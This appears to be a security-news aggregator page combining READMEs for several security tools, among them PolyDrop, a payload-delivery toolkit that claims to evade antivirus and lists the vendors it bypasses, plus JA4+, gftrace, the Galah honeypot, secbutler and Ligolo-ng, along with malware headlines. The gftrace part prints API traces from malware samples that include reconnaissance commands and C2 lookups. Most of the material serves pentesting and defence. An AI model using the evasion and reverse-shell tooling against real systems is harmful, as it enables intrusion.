PolyDrop - A BYOSI (Bring-Your-Own-Script-Interpreter) Rapid Payload Deployment Toolkit

BYOSI

- Bring-Your-Own-Script-Interpreter

- Leveraging the abuse of trusted applications, one is able to deliver a compatible script interpreter for a Windows, Mac, or Linux system as well as malicious source code in the form of the specific script interpreter of choice. Once both the malicious source code and the trusted script interpeter are safely written to the target system, one could simply execute said source code via the trusted script interpreter.

PolyDrop

- Leverages thirteen scripting languages to perform the above attack.

The following langues are wholly ignored by AV vendors including MS-Defender: - tcl - php - crystal - julia - golang - dart - dlang - vlang - nodejs - bun - python - fsharp - deno

All of these languages were allowed to completely execute, and establish a reverse shell by MS-Defender. We assume the list is even longer, given that languages such as PHP are considered "dead" languages.

- Currently undetectable by most mainstream Endpoint-Detection & Response vendors.

The total number of vendors that are unable to scan or process just PHP file types is 14, and they are listed below:

• Alibaba
• Avast-Mobile
• BitDefenderFalx
• Cylance
• DeepInstinct
• Elastic
• McAfee Scanner
• Palo Alto Networks
• SecureAge
• SentinelOne (Static ML)
• Symantec Mobile Insight
• Trapmine
• Trustlook
• Webroot

And the total number of vendors that are unable to accurately identify malicious PHP scripts is 54, and they are listed below:

• Acronis (Static ML)
• AhnLab-V3
• ALYac
• Antiy-AVL
• Arcabit
• Avira (no cloud)
• Baidu
• BitDefender
• BitDefenderTheta
• ClamAV
• CMC
• CrowdStrike Falcon
• Cybereason
• Cynet
• DrWeb
• Emsisoft
• eScan
• ESET-NOD32
• Fortinet
• GData
• Gridinsoft (no cloud)
• Jiangmin
• K7AntiVirus
• K7GW
• Kaspersky
• Lionic
• Malwarebytes
• MAX
• MaxSecure
• NANO-Antivirus
• Panda
• QuickHeal
• Sangfor Engine Zero
• Skyhigh (SWG)
• Sophos
• SUPERAntiSpyware
• Symantec
• TACHYON
• TEHTRIS
• Tencent
• Trellix (ENS)
• Trellix (HX)
• TrendMicro
• TrendMicro-HouseCall
• Varist
• VBA32
• VIPRE
• VirIT
• ViRobot
• WithSecure
• Xcitium
• Yandex
• Zillya
• ZoneAlarm by Check Point
• Zoner

With this in mind, and the absolute shortcomings on identifying PHP based malware we came up with the theory that the 13 identified languages are also an oversight by these vendors, including CrowdStrike, Sentinel1, Palo Alto, Fortinet, etc. We have been able to identify that at the very least Defender considers these obviously malicious payloads as plaintext.

Disclaimer

We as the maintainers, are in no way responsible for the misuse or abuse of this product. This was published for legitimate penetration testing/red teaming purposes, and for educational value. Know the applicable laws in your country of residence before using this script, and do not break the law whilst using this. Thank you and have a nice day.

EDIT

In case you are seeing all of the default declarations, and wondering wtf guys. There is a reason; this was built to be more moduler for later versions. For now, enjoy the tool and feel free to post issues. They'll be addressed as quickly as possible.

JA4+ - Suite Of Network Fingerprinting Standards

JA4+ is a suite of network Fingerprinting methods that are easy to use and easy to share. These methods are both human and machine readable to facilitate more effective threat-hunting and analysis. The use-cases for these fingerprints include scanning for threat actors, malware detection, session hijacking prevention, compliance automation, location tracking, DDoS detection, grouping of threat actors, reverse shell detection, and many more.

Please read our blogs for details on how JA4+ works, why it works, and examples of what can be detected/prevented with it:
JA4+ Network Fingerprinting (JA4/S/H/L/X/SSH)
JA4T: TCP Fingerprinting (JA4T/TS/TScan)

To understand how to read JA4+ fingerprints, see Technical Details

This repo includes JA4+ Python, Rust, Zeek and C, as a Wireshark plugin.

JA4/JA4+ support is being added to:
GreyNoise
Hunt
Driftnet
DarkSail
Arkime
GoLang (JA4X)
Suricata
Wireshark
Zeek
nzyme
Netresec's CapLoader
NetworkMiner">Netresec's NetworkMiner
NGINX
F5 BIG-IP
nfdump
ntop's ntopng
ntop's nDPI
Team Cymru
NetQuest
Censys
Exploit.org's Netryx
cloudflare.com/bots/concepts/ja3-ja4-fingerprint/">Cloudflare
fastly
with more to be announced...

Examples

For more, see ja4plus-mapping.csv
The mapping file is unlicensed and free to use. Feel free to do a pull request with any JA4+ data you find.

Plugins

Wireshark
Zeek
Arkime

Binaries

Recommended to have tshark version 4.0.6 or later for full functionality. See: https://pkgs.org/search/?q=tshark

Download the latest JA4 binaries from: Releases.

JA4+ on Ubuntu

sudo apt install tshark
./ja4 [options] [pcap]

JA4+ on Mac

1) Install Wireshark https://www.wireshark.org/download.html which will install tshark 2) Add tshark to $PATH

ln -s /Applications/Wireshark.app/Contents/MacOS/tshark /usr/local/bin/tshark
./ja4 [options] [pcap]

JA4+ on Windows

1) Install Wireshark for Windows from https://www.wireshark.org/download.html which will install tshark.exe
tshark.exe is at the location where wireshark is installed, for example: C:\Program Files\Wireshark\thsark.exe
2) Add the location of tshark to your "PATH" environment variable in Windows.
(System properties > Environment Variables... > Edit Path)
3) Open cmd, navigate the ja4 folder

ja4 [options] [pcap]

Database

An official JA4+ database of fingerprints, associated applications and recommended detection logic is in the process of being built.

In the meantime, see ja4plus-mapping.csv

Feel free to do a pull request with any JA4+ data you find.

JA4+ Details

JA4+ is a set of simple yet powerful network fingerprints for multiple protocols that are both human and machine readable, facilitating improved threat-hunting and security analysis. If you are unfamiliar with network fingerprinting, I encourage you to read my blogs releasing JA3 here, JARM here, and this excellent blog by Fastly on the State of TLS Fingerprinting which outlines the history of the aforementioned along with their problems. JA4+ brings dedicated support, keeping the methods up-to-date as the industry changes.

All JA4+ fingerprints have an a_b_c format, delimiting the different sections that make up the fingerprint. This allows for hunting and detection utilizing just ab or ac or c only. If one wanted to just do analysis on incoming cookies into their app, they would look at JA4H_c only. This new locality-preserving format facilitates deeper and richer analysis while remaining simple, easy to use, and allowing for extensibility.

For example; GreyNoise is an internet listener that identifies internet scanners and is implementing JA4+ into their product. They have an actor who scans the internet with a constantly changing single TLS cipher. This generates a massive amount of completely different JA3 fingerprints but with JA4, only the b part of the JA4 fingerprint changes, parts a and c remain the same. As such, GreyNoise can track the actor by looking at the JA4_ac fingerprint (joining a+c, dropping b).

Current methods and implementation details:
| Full Name | Short Name | Description | |---|---|---| | JA4 | JA4 | TLS Client Fingerprinting
| JA4Server | JA4S | TLS Server Response / Session Fingerprinting | JA4HTTP | JA4H | HTTP Client Fingerprinting | JA4Latency | JA4L | Latency Measurment / Light Distance | JA4X509 | JA4X | X509 TLS Certificate Fingerprinting | JA4SSH | JA4SSH | SSH Traffic Fingerprinting | JA4TCP | JA4T | TCP Client Fingerprinting | JA4TCPServer | JA4TS | TCP Server Response Fingerprinting | JA4TCPScan | JA4TScan | Active TCP Fingerprint Scanner

The full name or short name can be used interchangeably. Additional JA4+ methods are in the works...

To understand how to read JA4+ fingerprints, see Technical Details

Licensing

JA4: TLS Client Fingerprinting is open-source, BSD 3-Clause, same as JA3. FoxIO does not have patent claims and is not planning to pursue patent coverage for JA4 TLS Client Fingerprinting. This allows any company or tool currently utilizing JA3 to immediately upgrade to JA4 without delay.

JA4S, JA4L, JA4H, JA4X, JA4SSH, JA4T, JA4TScan and all future additions, (collectively referred to as JA4+) are licensed under the FoxIO License 1.1. This license is permissive for most use cases, including for academic and internal business purposes, but is not permissive for monetization. If, for example, a company would like to use JA4+ internally to help secure their own company, that is permitted. If, for example, a vendor would like to sell JA4+ fingerprinting as part of their product offering, they would need to request an OEM license from us.

All JA4+ methods are patent pending.
JA4+ is a trademark of FoxIO

JA4+ can and is being implemented into open source tools, see the License FAQ for details.

This licensing allows us to provide JA4+ to the world in a way that is open and immediately usable, but also provides us with a way to fund continued support, research into new methods, and the development of the upcoming JA4 Database. We want everyone to have the ability to utilize JA4+ and are happy to work with vendors and open source projects to help make that happen.

ja4plus-mapping.csv is not included in the above software licenses and is thereby a license-free file.

Q&A

Q: Why are you sorting the ciphers? Doesn't the ordering matter?
A: It does but in our research we've found that applications and libraries choose a unique cipher list more than unique ordering. This also reduces the effectiveness of "cipher stunting," a tactic of randomizing cipher ordering to prevent JA3 detection.

Q: Why are you sorting the extensions?
A: Earlier in 2023, Google updated Chromium browsers to randomize their extension ordering. Much like cipher stunting, this was a tactic to prevent JA3 detection and "make the TLS ecosystem more robust to changes." Google was worried server implementers would assume the Chrome fingerprint would never change and end up building logic around it, which would cause issues whenever Google went to update Chrome.

So I want to make this clear: JA4 fingerprints will change as application TLS libraries are updated, about once a year. Do not assume fingerprints will remain constant in an environment where applications are updated. In any case, sorting the extensions gets around this and adding in Signature Algorithms preserves uniqueness.

Q: Doesn't TLS 1.3 make fingerprinting TLS clients harder?
A: No, it makes it easier! Since TLS 1.3, clients have had a much larger set of extensions and even though TLS1.3 only supports a few ciphers, browsers and applications still support many more.

JA4+ was created by:

John Althouse, with feedback from:

Josh Atkins
Jeff Atkinson
Joshua Alexander
W.
Joe Martin
Ben Higgins
Andrew Morris
Chris Ueland
Ben Schofield
Matthias Vallentin
Valeriy Vorotyntsev
Timothy Noel
Gary Lipsky
And engineers working at GreyNoise, Hunt, Google, ExtraHop, F5, Driftnet and others.

Contact John Althouse at john@foxio.io for licensing and questions.

_{^{Copyright (c) 2024, FoxIO}}

Malicious Python Package Hides Sliver C2 Framework in Fake Requests Library Logo

North Korean Hackers Deploy New Golang Malware 'Durian' Against Crypto Firms

Gftrace - A Command Line Windows API Tracing Tool For Golang Binaries

A command line Windows API tracing tool for Golang binaries.

Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome!

How it works?

Although Golang programs contains a lot of nuances regarding the way they are built and their behavior in runtime they still need to interact with the OS layer and that means at some point they do need to call functions from the Windows API.

The Go runtime package contains a function called asmstdcall and this function is a kind of "gateway" used to interact with the Windows API. Since it's expected this function to call the Windows API functions we can assume it needs to have access to information such as the address of the function and it's parameters, and this is where things start to get more interesting.

Asmstdcall receives a single parameter which is pointer to something similar to the following structure:

struct LIBCALL {
    DWORD_PTR Addr;
    DWORD Argc;
    DWORD_PTR Argv;
    DWORD_PTR ReturnValue;

    [...]
}

Some of these fields are filled after the API function is called, like the return value, others are received by asmstdcall, like the function address, the number of arguments and the list of arguments. Regardless when those are set it's clear that the asmstdcall function manipulates a lot of interesting information regarding the execution of programs compiled in Golang.

The gftrace leverages asmstdcall and the way it works to monitor specific fields of the mentioned struct and log it to the user. The tool is capable of log the function name, it's parameters and also the return value of each Windows function called by a Golang application. All of it with no need to hook a single API function or have a signature for it.

The tool also tries to ignore all the noise from the Go runtime initialization and only log functions called after it (i.e. functions from the main package).

If you want to know more about this project and research check the blogpost.

Installation

Download the latest release.

Usage

1. Make sure gftrace.exe, gftrace.dll and gftrace.cfg are in the same directory.
2. Specify which API functions you want to trace in the gftrace.cfg file (the tool does not work without API filters applied).
3. Run gftrace.exe passing the target Golang program path as a parameter.

gftrace.exe <filepath> <params>

Configuration

All you need to do is specify which functions you want to trace in the gftrace.cfg file, separating it by comma with no spaces:

CreateFileW,ReadFile,CreateProcessW

The exact Windows API functions a Golang method X of a package Y would call in a specific scenario can only be determined either by analysis of the method itself or trying to guess it. There's some interesting characteristics that can be used to determine it, for example, Golang applications seems to always prefer to call functions from the "Wide" and "Ex" set (e.g. CreateFileW, CreateProcessW, GetComputerNameExW, etc) so you can consider it during your analysis.

The default config file contains multiple functions in which I tested already (at least most part of them) and can say for sure they can be called by a Golang application at some point. I'll try to update it eventually.

Examples

Tracing CreateFileW() and ReadFile() in a simple Golang file that calls "os.ReadFile" twice:

- CreateFileW("C:\Users\user\Desktop\doc.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108000, 0x200, 0xc000075d64, 0x0) = 0x1 (1)
- CreateFileW("C:\Users\user\Desktop\doc2.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108200, 0x200, 0xc000075d64, 0x0) = 0x1 (1)

Tracing CreateProcessW() in the TunnelFish malware:

- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |  ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000ace98, 0xc0000acd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |  ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ec8, 0xc0000c4d98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddres   s |  ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc00005eec8, 0xc00005ed98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |  ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bce98, 0xc0000bcd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ef0, 0xc0000c4dc0) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000acec0, 0xc0000acd90) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400,    "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bcec0, 0xc0000bcd90) = 0x1 (1)

[...]

Tracing multiple functions in the Sunshuttle malware:

- CreateFileW("config.dat.tmp", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0xffffffffffffffff (-1)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x2, 0x80, 0x0) = 0x198 (408)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x3, 0x80, 0x0) = 0x1a4 (420)
- WriteFile(0x1a4, 0xc000112780, 0xeb, 0xc0000c79d4, 0x0) = 0x1 (1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x1f0 (496)
- WSASend(0x1f0, 0xc00004f038, 0x1, 0xc00004f020, 0x0, 0xc00004eff0, 0x0) = 0x0 (0)
- WSARecv(0x1f0, 0xc00004ef60, 0x1, 0xc00004ef48, 0xc00004efd0, 0xc00004ef18, 0x0) = 0xffffffff (-1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x200 (512)
- WSASend(0x200, 0xc00004f2b8, 0x1, 0xc00004f2a0, 0x0, 0xc00004f270, 0x0) = 0x0 (0)
- WSARecv(0x200, 0xc00004f1e0, 0x1, 0xc00004f1c8, 0xc00004f250, 0xc00004f198, 0x0)    = 0xffffffff (-1)

[...]

Tracing multiple functions in the DeimosC2 framework agent:

- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x130 (304)
- setsockopt(0x130, 0xffff, 0x20, 0xc0000b7838, 0x4) = 0xffffffff (-1)
- socket(0x2, 0x1, 0x6) = 0x138 (312)
- WSAIoctl(0x138, 0xc8000006, 0xaf0870, 0x10, 0xb38730, 0x8, 0xc0000b746c, 0x0, 0x0) = 0x0 (0)
- GetModuleFileNameW(0x0, "C:\Users\user\Desktop\samples\deimos.exe", 0x400) = 0x2f (47)
- GetUserProfileDirectoryW(0x140, "C:\Users\user", 0xc0000b7a08) = 0x1 (1)
- LookupAccountSidw(0x0, 0xc00000e250, "user", 0xc0000b796c, "DESKTOP-TEST", 0xc0000b7970, 0xc0000b79f0) = 0x1 (1)
- NetUserGetInfo("DESKTOP-TEST", "user", 0xa, 0xc0000b7930) = 0x0 (0)
- GetComputerNameExW(0x5, "DESKTOP-TEST", 0xc0000b7b78) = 0x1 (1)
- GetAdaptersAddresses(0x0, 0x10, 0x0, 0xc000120000, 0xc0000b79d0) = 0x0 (0)
- CreateToolhelp32Snapshot(0x2, 0x0) = 0x1b8 (440)
- GetCurrentProcessId() = 0x2584 (9604)
- GetCurrentDirectoryW(0x12c, "C:\Users\user\AppData\Local\Programs\retoolkit\bin") = 0x39 (57   )

[...]

Future features:

• [x] Support inspection of 32 bits files.
• [x] Add support to files calling functions via the "IAT jmp table" instead of the API call directly in asmstdcall.
• [x] Add support to cmdline parameters for the target process
• [ ] Send the tracing log output to a file by default to make it better to filter. Currently there's no separation between the target file and gftrace output. An alternative is redirect gftrace output to a file using the command line.

:warning: Warning

• The tool inspects the target binary dynamically and it means the file being traced is executed. If you're inspecting a malware or an unknown software please make sure you do it in a controlled environment.
• Golang programs can be very noisy depending the file and/or function being traced (e.g. VirtualAlloc is always called multiple times by the runtime package, CreateFileW is called multiple times before a call to CreateProcessW, etc). The tool ignores the Golang runtime initialization noise but after that it's up to the user to decide what functions are better to filter in each scenario.

License

The gftrace is published under the GPL v3 License. Please refer to the file named LICENSE for more information.

Galah - An LLM-powered Web Honeypot Using The OpenAI API

TL;DR: Galah (/ɡəˈlɑː/ - pronounced 'guh-laa') is an LLM (Large Language Model) powered web honeypot, currently compatible with the OpenAI API, that is able to mimic various applications and dynamically respond to arbitrary HTTP requests.

Description

Named after the clever Australian parrot known for its mimicry, Galah mirrors this trait in its functionality. Unlike traditional web honeypots that rely on a manual and limiting method of emulating numerous web applications or vulnerabilities, Galah adopts a novel approach. This LLM-powered honeypot mimics various web applications by dynamically crafting relevant (and occasionally foolish) responses, including HTTP headers and body content, to arbitrary HTTP requests. Fun fact: in Aussie English, Galah also means fool!

I've deployed a cache for the LLM-generated responses (the cache duration can be customized in the config file) to avoid generating multiple responses for the same request and to reduce the cost of the OpenAI API. The cache stores responses per port, meaning if you probe a specific port of the honeypot, the generated response won't be returned for the same request on a different port.

The prompt is the most crucial part of this honeypot! You can update the prompt in the config file, but be sure not to change the part that instructs the LLM to generate the response in the specified JSON format.

Note: Galah was a fun weekend project I created to evaluate the capabilities of LLMs in generating HTTP messages, and it is not intended for production use. The honeypot may be fingerprinted based on its response time, non-standard, or sometimes weird responses, and other network-based techniques. Use this tool at your own risk, and be sure to set usage limits for your OpenAI API.

Future Enhancements

• Rule-Based Response: The new version of Galah will employ a dynamic, rule-based approach, adding more control over response generation. This will further reduce OpenAI API costs and increase the accuracy of the generated responses.

• Response Database: It will enable you to generate and import a response database. This ensures the honeypot only turns to the OpenAI API for unknown or new requests. I'm also working on cleaning up and sharing my own database.

• Support for Other LLMs.

Getting Started

• Ensure you have Go version 1.20+ installed.
• Create an OpenAI API key from here.
• If you want to serve over HTTPS, generate TLS certificates.
• Clone the repo and install the dependencies.
• Update the config.yaml file.
• Build and run the Go binary!

% git clone git@github.com:0x4D31/galah.git
% cd galah
% go mod download
% go build  
% ./galah -i en0 -v

 ██████   █████  ██       █████  ██   ██ 
██       ██   ██ ██      ██   ██ ██   ██ 
██   ███ ███████ ██      ███████ ███████ 
██    ██ ██   ██ ██      ██   ██ ██   ██ 
 ██████  ██   ██ ███████ ██   ██ ██   ██ 
  llm-based web honeypot // version 1.0
       author: Adel "0x4D31" Karimi

2024/01/01 04:29:10 Starting HTTP server on port 8080
2024/01/01 04:29:10 Starting HTTP server on port 8888
2024/01/01 04:29:10 Starting HTTPS server on port 8443 with TLS profile: profile1_selfsigned
2024/01/01 04:29:10 Starting HTTPS server on port 443 with TLS profile: profile1_selfsigned

2024/01/01 04:35:57 Received a request for "/.git/config" from [::1]:65434
2024/01/01 04:35:57 Request cache miss for "/.git/config": Not found in cache
2024/01/01 04:35:59 Generated HTTP response: {"Headers": {"Content-Type": "text/plain", "Server": "Apache/2.4.41 (Ubuntu)", "Status": "403 Forbidden"}, "Body": "Forbidden\nYou don't have permission to access this resource."}
2024/01/01 04:35:59 Sending the crafted response to [::1]:65434

^C2024/01/01 04:39:27 Received shutdown signal. Shutting down servers...
2024/01/01 04:39:27 All servers shut down gracefully.

Example Responses

Here are some example responses:

Example 1

% curl http://localhost:8080/login.php
<!DOCTYPE html><html><head><title>Login Page</title></head><body><form action='/submit.php' method='post'><label for='uname'><b>Username:</b></label><br><input type='text' placeholder='Enter Username' name='uname' required><br><label for='psw'><b>Password:</b></label><br><input type='password' placeholder='Enter Password' name='psw' required><br><button type='submit'>Login</button></form></body></html>

JSON log record:

{"timestamp":"2024-01-01T05:38:08.854878","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"51978","sensorName":"home-sensor","port":"8080","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/login.php","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Content-Type":"text/html","Server":"Apache/2.4.38"},"body":"\u003c!DOCTYPE html\u003e\u003chtml\u003e\u003chead\u003e\u003ctitle\u003eLogin Page\u003c/title\u003e\u003c/head\u003e\u003cbody\u003e\u003cform action='/submit.php' method='post'\u003e\u003clabel for='uname'\u003e\u003cb\u003eUsername:\u003c/b\u003e\u003c/label\u003e\u003cbr\u003e\u003cinput type='text' placeholder='Enter Username' name='uname' required\u003e\u003cbr\u003e\u003clabel for='psw'\u003e\u003cb\u003ePassword:\u003c/b\u003e\u003c/label\u003e\u003cbr\u003e\u003cinput type='password' placeholder='Enter Password' name='psw' required\u003e\u003cbr\u003e\u003cbutton type='submit'\u003eLogin\u003c/button\u003e\u003c/form\u003e\u003c/body\u003e\u003c/html\u003e"}}

Example 2

% curl http://localhost:8080/.aws/credentials
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
region = us-west-2

JSON log record:

{"timestamp":"2024-01-01T05:40:34.167361","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"65311","sensorName":"home-sensor","port":"8080","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/.aws/credentials","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Encoding":"gzip","Content-Length":"126","Content-Type":"text/plain","Server":"Apache/2.4.51 (Unix)"},"body":"[default]\naws_access_key_id = AKIAIOSFODNN7EXAMPLE\naws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nregion = us-west-2"}}

Okay, that was impressive!

Example 3

Now, let's do some sort of adversarial testing!

% curl http://localhost:8888/are-you-a-honeypot
No, I am a server.`

JSON log record:

{"timestamp":"2024-01-01T05:50:43.792479","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"61982","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/are-you-a-honeypot","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Length":"20","Content-Type":"text/plain","Server":"Apache/2.4.41 (Ubuntu)"},"body":"No, I am a server."}}

😑

% curl http://localhost:8888/i-mean-are-you-a-fake-server`
No, I am not a fake server.

JSON log record:

{"timestamp":"2024-01-01T05:51:40.812831","srcIP":"::1","srcHost":"localhost","tags":null,"srcPort":"62205","sensorName":"home-sensor","port":"8888","httpRequest":{"method":"GET","protocolVersion":"HTTP/1.1","request":"/i-mean-are-you-a-fake-server","userAgent":"curl/7.71.1","headers":"User-Agent: [curl/7.71.1], Accept: [*/*]","headersSorted":"Accept,User-Agent","headersSortedSha256":"cf69e186169279bd51769f29d122b07f1f9b7e51bf119c340b66fbd2a1128bc9","body":"","bodySha256":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"},"httpResponse":{"headers":{"Connection":"close","Content-Type":"text/plain","Server":"LocalHost/1.0"},"body":"No, I am not a fake server."}}

You're a galah, mate!

Hackers Target Middle East Governments with Evasive "CR4T" Backdoor

Cybercriminals Targeting Latin America with Sophisticated Phishing Scheme

Malicious Apps Caught Secretly Turning Android Phones into Proxies for Cybercriminals

Malicious Ads Targeting Chinese Users with Fake Notepad++ and VNote Installers

Secbutler - The Perfect Butler For Pentesters, Bug-Bounty Hunters And Security Researchers

Essential utilities for pentester, bug-bounty hunters and security researchers

secbutler is a utility tool made for pentesters, bug-bounty hunters and security researchers that contains all the most used and tedious stuff commonly used while performing cybersecurity activities (like installing sec-related tools, retrieving commands for revshells, serving common payloads, obtaining a working proxy, managing wordlists and so forth).

The goal is to obtain a tool that meets the requirements of the community, therefore suggestions and PRs are very welcome!

• Generate a reverse shell command
• Obtain proxy
• Download & deploy common payloads
• Obtain reverse shell listener command
• Generate bash install script for common tools
• Generate bash download script for Wordlists
• Read common cheatsheets and payloads

secbutler -h

This will display the help for the tool

                   __          __  __
   ________  _____/ /_  __  __/ /_/ /__  _____
  / ___/ _ \/ ___/ __ \/ / / / __/ / _ \/ ___/
 (__  )  __/ /__/ /_/ / /_/ / /_/ /  __/ /
/____/\___/\___/_.___/\__,_/\__/_/\___/_/

v0.1.9 - https://github.com/groundsec/secbutler

Essential utilities for pentester, bug-bounty hunters and security researchers

Usage:
  secbutler [flags]
  secbutler [command]

Available Commands:
cheatsheet  Read common cheatsheets & payloads
  help        Help about any command
  listener    Obtain the command to start a reverse shell listener
  payloads    Obtain and serve common payloads
  proxy       Obtain a random proxy from FreeProxy
  revshell    Obtain the command for a reverse shell
  tools       Generate a install script for the most common cybersecurity tools
  version     Print the current version
  wordlists   Generate a download script for the most common wordlists

Flags:
  -h, --help   help for secbutler

Use "secbutler [command] --help" for more information about a command.

Run the following command to install the latest version:

go install github.com/groundsec/secbutler@latest

Or you can simply grab an executable from the Releases page.

secbutler is made with 🖤 by the GroundSec team and released under the MIT LICENSE.

Kimsuky's New Golang Stealer 'Troll' and 'GoBear' Backdoor Target South Korea

Navgix - A Multi-Threaded Golang Tool That Will Check For Nginx Alias Traversal Vulnerabilities

navgix is a multi-threaded golang tool that will check for nginx alias traversal vulnerabilities

Techniques

Currently, navgix supports 2 techniques for finding vulnerable directories (or location aliases). Those being the following:

Heuristics

navgix will make an initial GET request to the page, and if there are any directories specified on the page HTML (specified in src attributes on html components), it will test each folder in the path for the vulnerability, therefore if it finds a link to /static/img/photos/avatar.png, it will test /static/, /static/img/ and /static/img/photos/.

Brute-force

navgix will also test for a short list of common directories that are common to have this vulnerability and if any of these directories exist, it will also attempt to confirm if a vulnerability is present.

Installation

git clone https://github.com/Hakai-Offsec/navgix; cd navgix;
go build

Acknowledgements

• Orange Tsai - Breaking Parser Logic! (2018)
• bayotop/off-by-slash

FritzFrog Returns with Log4Shell and PwnKit, Spreading Malware Inside Your Network

Ligolo-Ng - An Advanced, Yet Simple, Tunneling/Pivoting Tool That Uses A TUN Interface

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

Features

• Tun interface (No more SOCKS!)
• Simple UI with agent selection and network information
• Easy to use and setup
• Automatic certificate configuration with Let's Encrypt
• Performant (Multiplexing)
• Does not require high privileges
• Socket listening/binding on the agent
• Multiple platforms supported for the agent

How is this different from Ligolo/Chisel/Meterpreter... ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

As an example, for a TCP connection:

• SYN are translated to connect() on remote
• SYN-ACK is sent back if connect() succeed
• RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
• Nothing is sent if timeout

This allows running tools like nmap without the use of proxychains (simpler and faster).

Building & Usage

Precompiled binaries

Precompiled binaries (Windows/Linux/macOS) are available on the Release page.

Building Ligolo-ng

Building ligolo-ng (Go >= 1.20 is required):

$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go

Setup Ligolo-ng

Linux

When using Linux, you need to create a tun interface on the Proxy Server (C2):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up

Windows

